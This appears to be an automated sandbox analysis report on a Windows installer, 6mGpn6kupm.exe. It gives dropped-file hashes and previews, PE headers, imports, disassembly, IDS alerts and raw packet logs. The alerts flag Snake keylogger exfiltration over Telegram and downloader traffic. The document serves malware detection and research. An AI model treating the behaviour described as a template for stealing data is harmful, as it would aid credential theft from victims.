C:\Users\user\AppData\Local\Iw\Bargains\Sjusket.Adg

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	data
Category:	dropped
Size (bytes):	63485
Entropy (8bit):	4.609086692342101
Encrypted:	false
SSDEEP:	1536:SKthVYWWHkAbelzwwZaafbnqLkwjpPkVfBi2+rE:va/KlzwEa+bEtjpPkt826E
MD5:	E5A2D1496CFC88DC0B5AF9C47B132D2E
SHA1:	512FA4CC35564E99A301A10013B6CC5905E099CF
SHA-256:	866F02DFDDCEC65A8A60CDD1EA535998F743C14F0074C412F37DFAFFD83945EE
SHA-512:	A7B94E5DB134A9CF95525E4803719A99A6801E6B0D7B8F82589718359B2F516D8FABC98BBA90E8CD6078839EF2BB2410E4529B3B9D28093D7E02842BC9F2BE0D
Malicious:	false
Reputation:	low
Preview:	....................WWW....XX._....\|\|.................F.........Z.BB...;;.!.....TTT...D....NN....JJ..........JJ............Z.....3.....[.vvvv............ ...aaa.l.B...........2.N...???...222.........TT...........::.^...........................m......,,,.A...J.....333..######.....GG.............ZZZ.\|......R................................444.....;;............z..{{{{.SS......NN....::................................iiiii.......jj..=.................pp.ff......YYYY.Z.==.....k..................qq....77..0....................L.v.....kk..........I..................................!!.999................IIIIIII.......PPP...u.....j...qqq....j....................2.g.7......................\|........?........}..............E..../..q........qq.7.......E.w......yyyy.......b.....dd............##.....$$...>>>..................}}}}}..LL........OO...3333...................^....xxxxxx..1.....Y..oo.........oo..........x......&&......5............p........AAAAA.._...............?.j...ZZ.............

C:\Users\user\AppData\Local\Iw\Bargains\prepares.pli

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	FoxPro FPT, blocks size 22, next free block index 285212672, field type 0
Category:	dropped
Size (bytes):	139354
Entropy (8bit):	1.2473328695625903
Encrypted:	false
SSDEEP:	768:9OsMSh8lSnJGyUzWZsO2ipzPFmDZC9kpzroto48tf2+5lVp:9delFlqNawgJp
MD5:	B0FB6B583D6902DE58E1202D12BA4832
SHA1:	7F585B5C3A4581CE76E373C78A6513F157B20480
SHA-256:	E6EA5F6D0C7F5FA407269C7F4FF6D97149B7611071BF5BF6C454B810501AE661
SHA-512:	E0894FFBD76C3476DC083DAFD24F88964BF6E09E4CA955766B43FE73A764A00247C930E9996652A22B57B27826CD94F88B8178514060CA398DE568675F9E4571
Malicious:	false
Reputation:	low
Preview:	.......................................\|...................................................................+................$......&....A........................................................Z.....................................A...............!.....Y........................l..........9..................c.............f.................F...".................................................h.......................................\..............J............................5......t.....E.................q........................:......^....................................................................................I..........................................................x......W....................................................................................M...........................X..............................,..................m.......................................................................................................................J........ ...F...........

C:\Users\user\AppData\Local\Iw\Madmoders.ren

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	data
Category:	dropped
Size (bytes):	278454
Entropy (8bit):	7.733077471052493
Encrypted:	false
SSDEEP:	6144:11v15hYhwfvjrsY8Bjfv9XQ7Un0nDx6keCjAZsfqZy+Iht:rPhMwnIBjfv9oU0l467fcFID
MD5:	552915D0B28A2E0CBB0C784E98B87100
SHA1:	62B24DFF815E529CD261D090620636E7E84C26EE
SHA-256:	1FE9053F9C73FF2A1A164BA44EBDA2B407D619C5A4A257AE43933CAE4174DFF6
SHA-512:	1BAB2EAA55233C017F78E6B273482F26CADEC820E6A1CA6BA7D3C4440035D70FE539B68FF70EC8DE38D8B63CFB830C498CB23277845BCA24E9B1DC739F7F0595
Malicious:	false
Preview:	..AA..ZZ..ooooo..........................................]]]]]].?.1.s......eeee...))).............#.P........\\\.........^.....o.e...&...........i.......}}...SS..............'....LLLLLLLLL........QQ..fffff...\|.''........J......3.............................oo.....q................m....fff......l....SS.....r.........333.t................ffff...............AA.....B..........22.................................*.P.....:...........4........h....<...jj.XX.............................V................d.....v..ZZ.....pp...............w.ZZZ...............<<...c................1................................666.....u.>..Q............................,..................$.......................................................EE.>.$$....................JJ...eee..................~~..@@...............................44...................~........mmm.LL.G..........?????..........o.....pp.... ..................xx...\\....6..TT...[......NN.vvvv.z..............................???..............bbbb.....

C:\Users\user\AppData\Local\Temp\nsuBEB9.tmp

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	data
Category:	dropped
Size (bytes):	1466542
Entropy (8bit):	5.475333743152048
Encrypted:	false
SSDEEP:	24576:CpxIBjtop+6oFIco3xX3y4bz2lWwWo6rSTZyA7:vBp2+lToBXbz2luo6rS1yk
MD5:	BAFB29716B15ABA70CFBC82534C578B1
SHA1:	0293ACA2FEB6762BD33B2737CDB90816324C99E9
SHA-256:	98D20F1840935C2832F5137E3245727A82FF65BB696CBD75C7C3191B7567A0F8
SHA-512:	673909F96BE6A57733CCE9CB756F45CA1E8908C89F69DA8837875F1BF05F4E6841D03BBE2BB6485C03F5DB9B84E49035AB06AD479F6AF05AE1C5226F460A546C
Malicious:	false
Preview:	<6......,.......,.......\........!.......4.......5..........................M...i............................H..............................................................................................................................................................................G...J...............h...............................................................g...............................................................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsvC041.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\6mGpn6kupm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.719859767584478
Encrypted:	false
SSDEEP:	192:1enY0LWelt70elWjvfstJcVtwtYbjnIOg5AaDnbC7ypXhtIj:18PJlt70esj0Mt9vn6ay6
MD5:	0D7AD4F45DC6F5AA87F606D0331C6901
SHA1:	48DF0911F0484CBE2A8CDD5362140B63C41EE457
SHA-256:	3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
SHA-512:	C07DE7308CB54205E8BD703001A7FE4FD7796C9AC1B4BB330C77C872BF712B093645F40B80CE7127531FE6746A5B66E18EA073AB6A644934ABED9BB64126FEA9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: v4nrZtP7K2.exe, Detection: malicious, Browse Filename: xXUnP7uCBJ.exe, Detection: malicious, Browse Filename: 4UQ5wnI389.exe, Detection: malicious, Browse Filename: ajRZflJ2ch.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: DHL_Awb_Shipping_Invoice_doc_010720257820020031808174CN1800301072025.bat.exe, Detection: malicious, Browse Filename: KO0q4biYfC.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Yoranis Setup.exe, Detection: malicious, Browse Filename: Pralevia Setup 1.0.0.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....~.\...........!....."...........).......@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.....................@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.958311504672689
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	6mGpn6kupm.exe
File size:	1'002'919 bytes
MD5:	89bb4eeab81b80681733b2d7df68289b
SHA1:	655666fc351362a9aa37758163d3e3e63c6400b8
SHA256:	2c399d3af3092bf9b9d0ed6c4b7bef3ac082cf09d9947adc9df12d11a6fea3d1
SHA512:	629ba1abc689e0bb4754502d7a3c770eddb9d8a75dc3bb6ec09dfa349d681c3b8ae90631c943c7ad1a89e488a89085d411d96db0ef7702d64ca050db14018358
SSDEEP:	24576:9jwKCNSDUFkaOGthsOeScPVoKCcHFYq4M7eq7kt:V1CiUVdXeSwWWYqaBt
TLSH:	96253307E761C6AAD02AC2F01DB5B39D5F99DC29990091D7B2303C5EBD63B470D3AB94
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1...Pf..Pf..Pf._9..Pf..Pg.LPf._;..Pf..sV..Pf..V`..Pf.Rich.Pf.........................PE..L...$..\.................f...*.....

File Icon


Icon Hash:	46224e4c19391d03

Static PE Info

General

Entrypoint:	0x4034a5
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5C157F24 [Sat Dec 15 22:24:36 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	1f23f452093b5c1ff091a2f9fb4fa3e9

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push esi
push edi
push 00000020h
pop edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+14h], ebx
mov dword ptr [esp+10h], 0040A230h
mov dword ptr [esp+1Ch], ebx
call dword ptr [004080ACh]
call dword ptr [004080A8h]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042A24Ch], eax
je 00007FFB10D081B3h
push ebx
call 00007FFB10D0B47Dh
cmp eax, ebx
je 00007FFB10D081A9h
push 00000C00h
call eax
mov esi, 004082B0h
push esi
call 00007FFB10D0B3F7h
push esi
call dword ptr [00408150h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], 00000000h
jne 00007FFB10D0818Ch
push 0000000Ah
call 00007FFB10D0B450h
push 00000008h
call 00007FFB10D0B449h
push 00000006h
mov dword ptr [0042A244h], eax
call 00007FFB10D0B43Dh
cmp eax, ebx
je 00007FFB10D081B1h
push 0000001Eh
call eax
test eax, eax
je 00007FFB10D081A9h
or byte ptr [0042A24Fh], 00000040h
push ebp
call dword ptr [00408044h]
push ebx
call dword ptr [004082A0h]
mov dword ptr [0042A318h], eax
push ebx
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebx
push 004216E8h
call dword ptr [00408188h]
push 0040A384h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8504	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x21068	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2b0	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6409	0x6600	bfe2b726d49cbd922b87bad5eea65e61	False	0.6540287990196079	data	6.416186322230332	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1396	0x1400	d45dcba8ca646543f7e339e20089687e	False	0.45234375	data	5.154907432640367	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x20358	0x600	8575fc5e872ca789611c386779287649	False	0.5026041666666666	data	4.004402321344153	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x2b000	0x2a000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x21068	0x21200	03ed2ed76ba15352dac9e48819696134	False	0.8714696344339623	data	7.556190648348207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_BITMAP	0x554c0	0x368	Device independent bitmap graphic, 96 x 16 x 4, image size 768	English	United States	0.23623853211009174
RT_ICON	0x55828	0xc2a3	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9966684729162903
RT_ICON	0x61ad0	0x86e0	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.990210843373494
RT_ICON	0x6a1b0	0x5085	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	0.9867559307233299
RT_ICON	0x6f238	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.4358921161825726
RT_ICON	0x717e0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.4896810506566604
RT_ICON	0x72888	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5367803837953091
RT_ICON	0x73730	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.6913357400722022
RT_ICON	0x73fd8	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.38597560975609757
RT_ICON	0x74640	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.4934971098265896
RT_ICON	0x74ba8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.651595744680851
RT_ICON	0x75010	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.46908602150537637
RT_ICON	0x752f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5472972972972973
RT_DIALOG	0x75420	0x120	data	English	United States	0.53125
RT_DIALOG	0x75540	0x118	data	English	United States	0.5678571428571428
RT_DIALOG	0x75658	0x120	data	English	United States	0.5104166666666666
RT_DIALOG	0x75778	0xf8	data	English	United States	0.6330645161290323
RT_DIALOG	0x75870	0xa0	data	English	United States	0.6125
RT_DIALOG	0x75910	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x75970	0xae	data	English	United States	0.6091954022988506
RT_VERSION	0x75a20	0x308	data	English	United States	0.47036082474226804
RT_MANIFEST	0x75d28	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
KERNEL32.dll	ExitProcess, SetFileAttributesW, Sleep, GetTickCount, CreateFileW, GetFileSize, GetModuleFileNameW, GetCurrentProcess, SetCurrentDirectoryW, GetFileAttributesW, SetEnvironmentVariableW, GetWindowsDirectoryW, GetTempPathW, GetCommandLineW, GetVersion, SetErrorMode, lstrlenW, lstrcpynW, CopyFileW, GetShortPathNameW, GlobalLock, CreateThread, GetLastError, CreateDirectoryW, CreateProcessW, RemoveDirectoryW, lstrcmpiA, GetTempFileNameW, WriteFile, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, lstrcmpiW, MoveFileW, GetFullPathNameW, SetFileTime, SearchPathW, CompareFileTime, lstrcmpW, CloseHandle, ExpandEnvironmentStringsW, GlobalFree, GlobalUnlock, GetDiskFreeSpaceW, GlobalAlloc, FindFirstFileW, FindNextFileW, DeleteFileW, SetFilePointer, ReadFile, FindClose, lstrlenA, MulDiv, MultiByteToWideChar, WideCharToMultiByte, GetPrivateProfileStringW, WritePrivateProfileStringW, FreeLibrary, LoadLibraryExW, GetModuleHandleW
USER32.dll	GetSystemMenu, SetClassLongW, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongW, SetCursor, LoadCursorW, CheckDlgButton, GetMessagePos, LoadBitmapW, CallWindowProcW, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextW, GetDlgItemTextW, MessageBoxIndirectW, CharPrevW, CharNextA, wsprintfA, DispatchMessageW, PeekMessageW, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, GetDC, SetTimer, SetWindowTextW, LoadImageW, SetForegroundWindow, ShowWindow, IsWindow, SetWindowLongW, FindWindowExW, TrackPopupMenu, AppendMenuW, CreatePopupMenu, EndPaint, CreateDialogParamW, SendMessageTimeoutW, wsprintfW, PostQuitMessage
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectW, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExW, SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExW, RegOpenKeyExW, SetFileSecurityW, OpenProcessToken, LookupPrivilegeValueW, RegEnumValueW, RegDeleteKeyW, RegDeleteValueW, RegCloseKey, RegSetValueExW, RegQueryValueExW, RegEnumKeyW
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:49:32.717084+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.10	49967	172.217.23.110	443	TCP
2025-01-10T21:49:37.908297+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49975	132.226.247.73	80	TCP
2025-01-10T21:49:44.690986+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49975	132.226.247.73	80	TCP
2025-01-10T21:49:45.319627+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49978	149.154.167.220	443	TCP
2025-01-10T21:49:45.583894+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49978	149.154.167.220	443	TCP
2025-01-10T21:49:46.517683+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.10	49979	132.226.247.73	80	TCP
2025-01-10T21:49:47.108780+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49980	149.154.167.220	443	TCP
2025-01-10T21:49:47.504281+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49980	149.154.167.220	443	TCP
2025-01-10T21:49:48.854869+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49982	149.154.167.220	443	TCP
2025-01-10T21:49:49.126072+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49982	149.154.167.220	443	TCP
2025-01-10T21:49:50.551607+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49984	149.154.167.220	443	TCP
2025-01-10T21:49:51.017539+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49984	149.154.167.220	443	TCP
2025-01-10T21:49:52.416148+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49986	149.154.167.220	443	TCP
2025-01-10T21:49:52.723364+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49986	149.154.167.220	443	TCP
2025-01-10T21:49:54.043834+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49988	149.154.167.220	443	TCP
2025-01-10T21:49:54.401898+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49988	149.154.167.220	443	TCP
2025-01-10T21:49:55.721209+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49990	149.154.167.220	443	TCP
2025-01-10T21:49:56.022154+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49990	149.154.167.220	443	TCP
2025-01-10T21:49:57.350231+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49992	149.154.167.220	443	TCP
2025-01-10T21:49:57.593488+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49992	149.154.167.220	443	TCP
2025-01-10T21:49:58.898541+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49994	149.154.167.220	443	TCP
2025-01-10T21:49:59.164526+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49994	149.154.167.220	443	TCP
2025-01-10T21:50:00.483307+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49996	149.154.167.220	443	TCP
2025-01-10T21:50:00.773884+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49996	149.154.167.220	443	TCP
2025-01-10T21:50:23.662910+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	49999	149.154.167.220	443	TCP
2025-01-10T21:50:23.904209+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	49999	149.154.167.220	443	TCP
2025-01-10T21:50:25.387924+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50001	149.154.167.220	443	TCP
2025-01-10T21:50:25.644407+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50001	149.154.167.220	443	TCP
2025-01-10T21:50:27.025192+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50003	149.154.167.220	443	TCP
2025-01-10T21:50:27.239542+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50003	149.154.167.220	443	TCP
2025-01-10T21:50:29.610258+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50005	149.154.167.220	443	TCP
2025-01-10T21:50:29.916493+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50005	149.154.167.220	443	TCP
2025-01-10T21:50:31.969968+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50007	149.154.167.220	443	TCP
2025-01-10T21:50:32.235747+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50007	149.154.167.220	443	TCP
2025-01-10T21:50:33.552667+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50009	149.154.167.220	443	TCP
2025-01-10T21:50:33.809983+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50009	149.154.167.220	443	TCP
2025-01-10T21:50:35.133589+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50011	149.154.167.220	443	TCP
2025-01-10T21:50:35.549505+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50011	149.154.167.220	443	TCP
2025-01-10T21:50:36.904548+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50013	149.154.167.220	443	TCP
2025-01-10T21:50:37.282340+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50013	149.154.167.220	443	TCP
2025-01-10T21:50:39.716360+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50015	149.154.167.220	443	TCP
2025-01-10T21:50:40.200667+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50015	149.154.167.220	443	TCP
2025-01-10T21:50:42.534654+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50017	149.154.167.220	443	TCP
2025-01-10T21:50:42.811954+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50017	149.154.167.220	443	TCP
2025-01-10T21:50:45.147729+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50019	149.154.167.220	443	TCP
2025-01-10T21:50:45.461534+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50019	149.154.167.220	443	TCP
2025-01-10T21:50:46.798816+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50021	149.154.167.220	443	TCP
2025-01-10T21:50:47.189904+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50021	149.154.167.220	443	TCP
2025-01-10T21:50:51.767666+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.10	50023	149.154.167.220	443	TCP
2025-01-10T21:50:52.291513+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.10	50023	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:49:31.611944914 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:31.612000942 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:31.612061977 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:31.671737909 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:31.671787977 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.310100079 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.310180902 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.311186075 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.311244965 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.395235062 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.395277977 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.395781994 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.395950079 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.398955107 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.439346075 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.717119932 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.717195034 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.717211008 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.717219114 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.717328072 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.718873024 CET	49967	443	192.168.2.10	172.217.23.110
Jan 10, 2025 21:49:32.718888998 CET	443	49967	172.217.23.110	192.168.2.10
Jan 10, 2025 21:49:32.746805906 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:32.746845961 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:32.746989965 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:32.747303963 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:32.747323990 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:33.406826973 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:33.406914949 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:33.411204100 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:33.411212921 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:33.411633968 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:33.411704063 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:33.412009001 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:33.455323935 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.126835108 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.127024889 CET	49974	443	192.168.2.10	142.250.186.161
Jan 10, 2025 21:49:36.132334948 CET	443	49974	142.250.186.161	192.168.2.10
Jan 10, 2025 21:49:36.132487059 CET	49974	443	192.168.2.10	142.250.186.161
